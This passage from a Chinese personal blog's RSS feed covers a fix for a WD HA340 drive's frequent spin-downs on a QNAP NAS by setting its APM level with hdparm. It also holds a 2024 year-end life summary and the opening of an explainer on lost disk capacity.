&lt;p&gt;观察了大概三天，记录下来的第二块硬盘的启停次数&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;记录时间&lt;/th&gt;
&lt;th&gt;0x04 &amp;amp; 0x0c&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 18:20&lt;/td&gt;
&lt;td&gt;6109&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 18:37&lt;/td&gt;
&lt;td&gt;6119&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 18:41&lt;/td&gt;
&lt;td&gt;6126&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 18:47&lt;/td&gt;
&lt;td&gt;6135&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 20:53&lt;/td&gt;
&lt;td&gt;6413&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 21:05&lt;/td&gt;
&lt;td&gt;6421&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 21:40&lt;/td&gt;
&lt;td&gt;6493&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 22:10&lt;/td&gt;
&lt;td&gt;6516&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 22:17&lt;/td&gt;
&lt;td&gt;6529&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 22:40&lt;/td&gt;
&lt;td&gt;6567&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 23:10&lt;/td&gt;
&lt;td&gt;6603&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 23:26&lt;/td&gt;
&lt;td&gt;6635&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.19 23:50&lt;/td&gt;
&lt;td&gt;6664&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.20 09:18&lt;/td&gt;
&lt;td&gt;7530&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.20 09:42&lt;/td&gt;
&lt;td&gt;7583&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.20 09:46&lt;/td&gt;
&lt;td&gt;7585&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.20 09:48&lt;/td&gt;
&lt;td&gt;7588&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.04.20 09:58&lt;/td&gt;
&lt;td&gt;7599&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;再次让 GPT 给我用 py 画了个图&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;...这，怎么又是线性增长的趋势？并且增长的速度也是跟之前的硬盘大差不差的，并且也是在最近一次 NAS 重启之后开始的&lt;/p&gt;
&lt;h2&gt;初步观察&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;两块硬盘都在 45-60 天左右出现问题，并且开始出问题的时间点附近，我对 NAS 进行了一次重启&lt;/li&gt;
&lt;li&gt;两块硬盘都是 HA340 同一个型号和固件&lt;/li&gt;
&lt;li&gt;通过 SMART 数据发现 0x04 和 0x0c 的数值几乎一致&lt;/li&gt;
&lt;li&gt;只要有持续的数据读写就不会有停转，只要一停下数据读写，就会马上停转&lt;/li&gt;
&lt;li&gt;我的 NAS 的另一块 HC320 8TB 表现正常&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;最终排查&lt;/h2&gt;
&lt;p&gt;不可思议，得排除掉是 QNAP 的问题，于是我继续搜索，将硬盘放入我的移动硬盘盒，连接到我的电脑上，发现这块硬盘在电脑上的表现也是一样的，硬盘会不停地启停。&lt;/p&gt;
&lt;p&gt;难道是硬盘本身跟启停频率有关的设置出了问题？于是我开始搜索相关的资料。发现 &lt;code&gt;hdparm&lt;/code&gt; 命令可以设置硬盘的电源管理配置，主要有&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;APM（Advanced Power Management）：高级电源管理，通过 &lt;code&gt;hdparm -B&lt;/code&gt; 命令设置&lt;/li&gt;
&lt;li&gt;AAM（Automatic Acoustic Management）：自动声学管理，通过 &lt;code&gt;hdparm -M&lt;/code&gt; 命令设置&lt;/li&gt;
&lt;li&gt;Standby (Spindown) timeout：待机（停转）超时，通过 &lt;code&gt;hdparm -S&lt;/code&gt; 命令设置&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过一番搜索，我认为硬盘的启停会跟硬盘的电源管理有关。于是我通过 SSH 登录到 QNAP NAS，执行了以下命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo hdparm -I /dev/sdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现了一行特别的输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Advanced power management level: unknown setting (0x0000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这说明硬盘的 APM（Advanced Power Management）值为 &lt;code&gt;0x00&lt;/code&gt;！这个值实际上是无法被 &lt;code&gt;hdparm -B&lt;/code&gt; 直接设置的，参考 &lt;code&gt;hdparm -B&lt;/code&gt; 的说明，这个命令不支持将 APM 的值设置为 &lt;code&gt;0x00&lt;/code&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Set the Advanced Power Management feature. Possible values are between 1 and 255, &lt;em&gt;low values mean more aggressive power management and higher values mean better performance&lt;/em&gt;. Values from 1 to 127 permit spin-down, whereas values from 128 to 254 do not. A value of 255 completely disables the feature.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但是重读上述的话，似乎是这个 APM 值越小，硬盘的停转越频繁，会不会是这个值导致了硬盘的频繁启停？于是我尝试将 APM 值设置为 &lt;code&gt;254&lt;/code&gt;，即不允许硬盘停转&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo hdparm -B 254 /dev/sdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现执行成功了，并且 APM 值也被设置为 &lt;code&gt;0xfe&lt;/code&gt;，这意味着硬盘的 APM 值被设置为 &lt;code&gt;254&lt;/code&gt;，即不允许硬盘停转&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Advanced power management level: unknown setting (0x00fe)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此后，直到我写这篇文章时，启停次数也没有再异常增加。但要注意，在 NAS 重启后，这个设置会失效，即 APM 值的再次变回 &lt;code&gt;0x00&lt;/code&gt;，需要每次重启后都重新执行一次 &lt;code&gt;hdparm -B 254 /dev/sdb&lt;/code&gt; 命令来设置 APM 值&lt;/p&gt;
&lt;p&gt;真的是太玄学了，虽然我不知道这个问题的根源是什么，但至少目前这个问题是解决了&lt;/p&gt;
&lt;h2&gt;根本原因是？&lt;/h2&gt;
&lt;p&gt;好了，这个问题看起来是解决了，我也尝试反馈给 QNAP 的技术人员和西部数据的客服，但是他们并没有给出明确的答复，QNAP 客服叫我再换一块同款的硬盘观察一下，而西部数据客服让我尝试跟京东协商换成 HC320...&lt;/p&gt;
&lt;p&gt;我也懒得做他们的免费测试员了，只好用了上面的 &lt;code&gt;hdparm&lt;/code&gt; 手动设置的操作来个规避这个问题&lt;/p&gt;
&lt;p&gt;目前唯一能确定的是：HA340 硬盘在被 unmount 或者 detach 的时候（？），其 APM 值会被重置为 &lt;code&gt;0x00&lt;/code&gt;，而这个值会导致硬盘在没有数据读写的情况下迅速停转，一有读写的时候就会启转，这就导致了启停次数的疯狂增加&lt;/p&gt;
&lt;p&gt;希望有缘人能看到这篇文章，并能指出问题的根因所在&lt;/p&gt;
&lt;h2&gt;常见问题 FAQ&lt;/h2&gt;
&lt;h3&gt;Q: QNAP NAS 上西数 HA340 硬盘为什么会频繁启停？&lt;/h3&gt;
&lt;p&gt;A: 主要原因是硬盘的 APM（高级电源管理）参数被重置为 0x00，导致硬盘在无读写时迅速停转。&lt;/p&gt;
&lt;h3&gt;Q: 如何用 hdparm 解决 QNAP 硬盘频繁启停问题？&lt;/h3&gt;
&lt;p&gt;A: 通过 &lt;code&gt;sudo hdparm -B 254 /dev/sdb&lt;/code&gt; 命令设置 APM 参数，可有效防止硬盘频繁启停。&lt;/p&gt;
&lt;h2&gt;参考资料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;我在 v2ex 上的帖子 &lt;a href=&quot;https://v2ex.com/t/1126732&quot;&gt;HA340 在持续通电两个月后出现频繁启停的问题，一个月不到可达 30000 次启停&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/Hdparm#Power_management_configuration&quot;&gt;hdparm - Archwiki&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>技术</category><category>QNAP</category><category>威联通</category><category>NAS</category></item><item><title>2024 年终总结</title><link>https://situ2001.com/blog/2024-summary/</link><guid isPermaLink="true">https://situ2001.com/blog/2024-summary/</guid><description>我的 2024 年终总结</description><pubDate>Wed, 01 Jan 2025 09:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;又到了一年的末尾，是时候为 2024 年做一份年终总结了。本文分为下图所示的几大部分&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;今年的年终总结偏吃喝玩乐&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;毕业&lt;/h2&gt;
&lt;p&gt;是的没错，我从 2024 年 6 月底开始，就已经从大学毕业，不再是个学生了&lt;/p&gt;
&lt;p&gt;毕业前每个人都要做的是毕业设计，正如老师所说的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;毕业设计将会是你们毕业前最有意义的一课。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;而确实，毕业设计狠狠地给我上了一课。如果没有毕业设计，我也不知道什么是只要&lt;em&gt;超出认知范围就会使劲打压你&lt;/em&gt;的老师。再加上老师平时还是挺受同学欢迎的，就有点颠覆个人认知。不过这也让我学会不少为人处事的道理&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这是你胡编乱造的协议吗？别当我没有教过计算机网络，我还教过好几年的计网...书上说了 DNS 是只能通过 UDP 传输的！&lt;/p&gt;
&lt;p&gt;—— 检查老师如是说&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不过毕业设计是用 Rust 实现了一个多功能的 DNS Proxy，也是学到不少关于 Rust 和网络相关东西&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;只要能学到东西就行。&lt;/p&gt;
&lt;p&gt;—— 我这么安慰自己道&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;毕业照拍的比较早，3 月底就拍了。学院是整个学校最早拍毕业照的，没有啥毕业气息，学院和班级分别来个大合照就结束了。不过时间选得倒是挺合适的，没有撞上雨季，那天也是阳光明媚，很棒。毕业典礼则是在 6 月底，授予学位证书之后就散场结束了。大家也匆匆忙忙跑到生活区并从宿舍搬离。如无意外，可能也是跟班里大部分同学的最后一次见面了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;四年说长不长，说短也不短，但要显出结束的象征，也许并不用四小时。&lt;/p&gt;
&lt;p&gt;毕业典礼结束后的第二天早晨，宿舍空无一人，剩下打开着的柜子，而柜子也是空无一物。&lt;/p&gt;
&lt;p&gt;四年之旅结束，衣服杂物被移走，后面等待大家的，又会是什么道路呢？&lt;/p&gt;
&lt;p&gt;你说不准，我也猜不透，正如这黑洞一般的柜子空间。&lt;/p&gt;
&lt;p&gt;但也许里面一直有看不见的彩虹涌出来吧？也许那是人生后面路途充满无限可能的象征。&lt;/p&gt;
&lt;p&gt;—— situ2001&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;工作&lt;/h2&gt;
&lt;p&gt;从今年 7 月开始，开始了人生中第一份全职工作，成为了社畜&lt;/p&gt;
&lt;p&gt;工作的内容依旧是 JS Web 相关。维护过内部的前端轮子，负责过给内部/外界业务方用的中台 SDK，也为海外音乐 app 写过业务。至于作息，除了紧急事故和一时半会扯不清的历史遗留问题，只要效率在线，就能做到 10 点到公司，晚上 8 点坐班车下班，实现相对的工作与生活平衡（WLB）&lt;/p&gt;
&lt;h3&gt;个人生产力系统&lt;/h3&gt;
&lt;p&gt;大学毕业后，在职场和生活中产生的信息是特别多的，并且你不能在短时间将这些信息处理完。这个时候，一个适合自己的生产力系统就很有意义了。&lt;/p&gt;
&lt;p&gt;目前，我主要用的 app 有：滴答清单, Apple Notes, Zotero, Obsidian.&lt;/p&gt;
&lt;p&gt;流程的核心是：捕获输入 =&amp;gt; 跟踪/消化/沉淀 =&amp;gt; 输出&lt;/p&gt;
&lt;p&gt;这套流程已经顺滑在工作和生活中用了近一年了&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;作息&lt;/h2&gt;
&lt;p&gt;今年有两次作息尝试，分别是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;12:30AM 睡觉，8:30AM 起床&lt;/li&gt;
&lt;li&gt;11:30PM 睡觉，7:30AM 起床&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结果发现在 7 点半的的时候起床很疲惫，后面工作的时候会很累，午睡也难以解救这种困倦感。而前一个休息方式在起床后会感到更加精神，不睡午觉也是可以的。并发现：只要入睡前够累，深度睡觉长度就能轻松超过 30 分钟&lt;/p&gt;
&lt;p&gt;这下知道为什么高中三年的状态这么拉跨了（11:00PM 睡觉 -6:20AM 起床）&lt;/p&gt;
&lt;p&gt;总而言之，找到适合自己的睡眠方法，并且保持一致是最重要的！&lt;/p&gt;
&lt;h2&gt;生病&lt;/h2&gt;
&lt;p&gt;当然，都 2024 年了，我还是一如既往的脆皮体质。发烧过几次：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 月：放寒假回到家后立马发烧，体温持续在 38.0&lt;/li&gt;
&lt;li&gt;5 月：去了一趟中山，中途突然发烧，体温起伏大，有几小时在 39.0，其余时间维持在 38.0&lt;/li&gt;
&lt;li&gt;6 月：可能是上火了，工作日下班后感觉不舒服，一量发现发烧了，体温持续在 38.0&lt;/li&gt;
&lt;li&gt;12 月：应该是感染了新新冠变异毒株（现在应该没有这个说法了），体温 37.2 左右，全身乏力，有痰咳不出。但一旦咳出，则会立马舒服&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;旅游&lt;/h2&gt;
&lt;h3&gt;珠三角&lt;/h3&gt;
&lt;p&gt;其实就是走走珠三角的城市，如珠海/澳门/佛山/中山/东莞。虽然说生活学习工作都在珠三角，但其实还没去过多少城市。这里放一张珠海的照片，沿着情侣路附近骑车拍的。珠海生活宜人，挺适合过来吹吹海风感受下慢节奏的&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;重庆&lt;/h3&gt;
&lt;p&gt;重庆: 上年出省去了上海杭州后，就想着也去一趟西南城市重庆看看&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;最后怎么说呢？就是在重庆不吃辣，纯纯感受着重庆的地理环境，走走玩玩过了三天&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;香港&lt;/h3&gt;
&lt;p&gt;工作之后也经常旅游：南下香港，主要是散步和购物&lt;/p&gt;
&lt;p&gt;除了繁华的九龙和港岛&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;还去过宁静的离岛区（坪洲/大澳）&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;经常光顾的 DonDonDonki 商店&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;运转&lt;/h2&gt;
&lt;p&gt;上年在 Minecraft 游戏里建设了不少交通线路，今年就开始在现实世界运转了，主打一个实地感受&lt;/p&gt;
&lt;h3&gt;广州新造轮渡&lt;/h3&gt;
&lt;p&gt;1 元就能坐轮渡跨江。即使有 4 号线连接大学城南和新造，但来往两岸的村民和外卖员还是不少的&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;广东城际四线贯通&lt;/h3&gt;
&lt;p&gt;2024 年 5 月 26 日，广东城际完成四线贯通运营&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;大湾区城际第一线开通真的很兴奋&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;穗莞深城际&lt;/h3&gt;
&lt;p&gt;周末找对象必搭，该城际线路大幅方便了莞深之间的城际通行。值得一提的是，深圳机场北站的地铁站和国铁站是紧紧挨在一起的，走几步路就完成了地铁和城际之间的换乘&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;地铁/高铁/城际汇聚，就在今世&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;广清城际&lt;/h3&gt;
&lt;p&gt;广佛东环，现以广清城际展示.jpg&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;更以羊角形态展现&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;其中，这条线路有直通车，只需要 15 分钟，一站从花都到清城。相比之下，站站停列车要 33 分钟&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;如果走运，还能碰到 CRH6A-A 车&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;清远磁悬浮线&lt;/h3&gt;
&lt;p&gt;这条线是将游客从银盏城轨站载到清远长隆的，主要是去体验一下广东第一条中低速磁悬浮。不过 2025 年都要来了，清远长隆还没开业...&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;实物长这样&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;中山市大站快车&lt;/h3&gt;
&lt;p&gt;只要 2～10 元，就能把你快速地从城轨中山北站运到中山市区，最远能去到中山与珠海的交界处&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;真 大站快车&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;珠海公交&lt;/h3&gt;
&lt;p&gt;全站一票制 1 元公交真香。是的，你没有看错，你没有看错，所有公交线路都是全程 1 元&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;只需要 1 块钱，就可以一条路坐到黑&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;珠机城际&lt;/h3&gt;
&lt;p&gt;又称珠海大地铁。不过所经之处，不是郊区就是待开发地区，平日人流量估计不大&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;晴天坐着它看海也是不错的选择&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;澳门轻轨 氹仔线&lt;/h3&gt;
&lt;p&gt;APM，游客观光车 。看着搭乘人数不多，间隔 10 分钟一班，站台也没有出现人数堆积的情况。不知道有没有方便到本地居民的出行&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;贵广高铁 &amp;amp; 成渝铁路&lt;/h3&gt;
&lt;p&gt;广州南 - 重庆西的列车会经过这两条线路。第一次体验到隧道这么多的高铁&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;重庆轨道交通 CRT&lt;/h3&gt;
&lt;p&gt;穿山过江，上天入地，单轨穿楼，这些都能在重庆 CRT 见到。能在这种地理环境下建成地铁系统，也算是一个奇迹了。这里放一张 2 号线的图&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;重庆长江索道&lt;/h3&gt;
&lt;p&gt;在长江正上方经过的索道，建议在上新街索道站搭乘，排队的人会少很多&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;长江索道  行千里 · 致广大&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;香港缆车 昂坪 360&lt;/h3&gt;
&lt;p&gt;在离岛区的缆车，可以直接将你从东涌地面运输到大屿山山顶。在途中，你可以看到大海/机场/高山。体验不错，就是钱包有点痛，单程票 HKD 195&lt;/p&gt;
&lt;p&gt;&lt;s&gt;如果你只是想上去昂坪玩，建议坐巴士&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;香港轮渡 屯门 - 大澳&lt;/h3&gt;
&lt;p&gt;富裕小轮，票价 HKD 27&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;适合黄昏搭乘。除了夕阳，一路上还能看港珠澳大桥和香港国际机场的密集飞机起落&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;香港轮渡 中环 - 坪洲&lt;/h3&gt;
&lt;p&gt;港九小轮 票价在 HKD 19.8~54.3 之间，因速度和日期而浮动&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;港珠澳大桥游轮&lt;/h3&gt;
&lt;p&gt;公司部门团建去的，主要是打卡观光港珠澳大桥。大致航线如下。全程 3 小时&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;第一次坐游轮，能在甲板上近距离观赏港珠澳大桥&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;深圳 13 号线首班车&lt;/h3&gt;
&lt;p&gt;去坐了深圳 13 号线的首班车。这下也是方便科技园打工人的通勤了，只不过是倒闭间隔...&lt;/p&gt;
&lt;p&gt;《13 号线开通真的很兴奋》—— 2024.12.28 摄于高新中站深圳湾口岸方向 10:18 首班车发出前&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;游戏&lt;/h2&gt;
&lt;p&gt;主要是下面几个游戏，主要是在校区间和休息日玩&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Transport fever 2 —— 可以在游戏里建设自己的交通系统，并且你也只需要关注交通，因为城市的发展是随着交通的发展自动发展的。中秋买的，一下班就玩，玩了好久&lt;/li&gt;
&lt;li&gt;城市天际线 —— 经典，想设计点什么的时候就会玩&lt;/li&gt;
&lt;li&gt;Minecraft —— 经典，这里就不多多展开了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;此外，今年购入了 Steam Deck. 这是部好机器，治好了我工作后的电子 ED&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;电影&lt;/h2&gt;
&lt;p&gt;看的都是动画，也都挺不错的，没有雷点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《熊出没·逆转时空》 —— 讲述光头强穿越时空来到大城市工作，但最终选择挽救旧时间线上的二狗熊的故事&lt;/li&gt;
&lt;li&gt;《蓦然回首 Look back》 —— 人生没有重来和后悔药。即使能在脑海想象出另一个平行世界，也不可能回溯并将其变为现实了。用大量的时间进行迷茫和对过去的回顾，在几个瞬间获得成长。这也许就是人生的旅程吧，且行且珍惜&lt;/li&gt;
&lt;li&gt;《名侦探柯南：百万美元的五棱星》 —— 剧情虽然套路化，但观感依旧不错。或许被称为函馆旅游宣传片更适合&lt;/li&gt;
&lt;li&gt;《孤独摇滚 Re》 —— 总集篇，就当是看过整部动画了&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;设备&lt;/h2&gt;
&lt;p&gt;今年工作后买了 QNAP NAS 用于存储自己日益增长的数据，目前总容量为 2x8TiB，已存储 6TiB 的数据&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;配上我的 NUC/UPS/路由器，也算是组成了一个小型 Home lab 了&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;之前画过一张图梳理个人的家庭网络与 self-hosted 服务的现状。后面会把折腾的过程写成文章发出来&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;展望 2025&lt;/h2&gt;
&lt;p&gt;2025 年是蛇年，同时也是我的本命年。如果能把 2025 年过得更好就好了。思考后，有两个问题待解决：拖延和不善表达&lt;/p&gt;
&lt;h3&gt;克服拖延&lt;/h3&gt;
&lt;p&gt;反思了一下，2024 年最大的主旋律还是“拖延”。希望 2025 新的一年能做到：管他什么情况，先做一坨垃圾出来再说&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;表达自我&lt;/h3&gt;
&lt;p&gt;我是一个较为内向的人。平时即使有很多想法和灵感，也只会停留在我的头脑，然后走向自我消亡&lt;/p&gt;
&lt;p&gt;就像前文中对个人生产力系统的介绍，实际上我有 80% 的时间都在输入这一步（放入收藏夹/加书签/收集各种信息），并没有多少输出&lt;/p&gt;
&lt;p&gt;我希望在 2025 年能通过文字、代码、文章、照片或视频，更多地表达自我。将输入输出的比例从 2:8 扭转为 8:2&lt;/p&gt;
&lt;h2&gt;End&lt;/h2&gt;
&lt;p&gt;好了，到这里，2024 年的故事就结束了。谢谢你能耐心地看到这里。也许能用什么词能总结 2024 年，但并没有，人的一年是不能被简简单单的几个词总结的&lt;/p&gt;
</content:encoded><category>年终总结</category></item><item><title>为什么你的硬盘可用容量少了又少</title><link>https://situ2001.com/blog/why-hard-drive-shows-less-space/</link><guid isPermaLink="true">https://situ2001.com/blog/why-hard-drive-shows-less-space/</guid><description>除了单位换算，文件系统的数据也会占用一部分硬盘容量</description><pubDate>Sat, 16 Nov 2024 16:40:40 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Disclaimer: 这是一篇科普向文章&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;近日，笔者入手了一块西数企业盘 HA340 作为 QNAP NAS 的第二块数据盘（HA340 是 HC320 的升级型号，拥有更低的噪音和温度）。配置这块硬盘的时候，QNAP 推荐用户使用 32K 进行格式化&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;格式化之后，笔者猛地想起：很早之前玩机的时候，看到过一个叫做”4K 对齐的“术语，如果我把这个硬盘给 “4K 对齐“ 的话，是不是会拥有更好的性能呢？(其实是搞错了,这个 4K 跟 4K 对齐的 4K 不是同一样东西，4K 对齐是扇区对齐，而这里的 4K 是 &lt;code&gt;size-per-inode&lt;/code&gt; 的值)&lt;/p&gt;
&lt;p&gt;说干就干，选择 4K 再次进行格式化。然后发现：如果在格式化引导窗口里选择不同的 size-per-inode 对硬盘进行格式化，QNAP NAS 页面显示的可用总容量是不一样的！（下图是 &lt;code&gt;size-per-inode&lt;/code&gt; 为 32K 的 Capacity）&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;嘶...怎么按不同的 &lt;code&gt;size-per-inode&lt;/code&gt; 格式化硬盘会出现不一样的可用 Capcity 呢？接着，继续以 8K/16K/64K 进行格式化，最后得到了下面的结果&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;size-per-inode&lt;/th&gt;
&lt;th&gt;实际可用容量&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;4K&lt;/td&gt;
&lt;td&gt;6.74TB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8K&lt;/td&gt;
&lt;td&gt;6.97TB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16K&lt;/td&gt;
&lt;td&gt;7.08TB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32K&lt;/td&gt;
&lt;td&gt;7.14TB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64K&lt;/td&gt;
&lt;td&gt;7.17TB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;嘶，看起来实际可用容量与 size-per-inode 的大小成反比。回想了之前学习的文件系统知识，这里显示的可用容量不就是硬盘实际容量减去 inode 等文件系统开销后的剩余容量吗？&lt;/p&gt;
&lt;p&gt;其实问题已经破案了，如果想了解更多，可以接着往下阅读&lt;/p&gt;
&lt;h2&gt;少掉的第一重容量：容量单位转换&lt;/h2&gt;
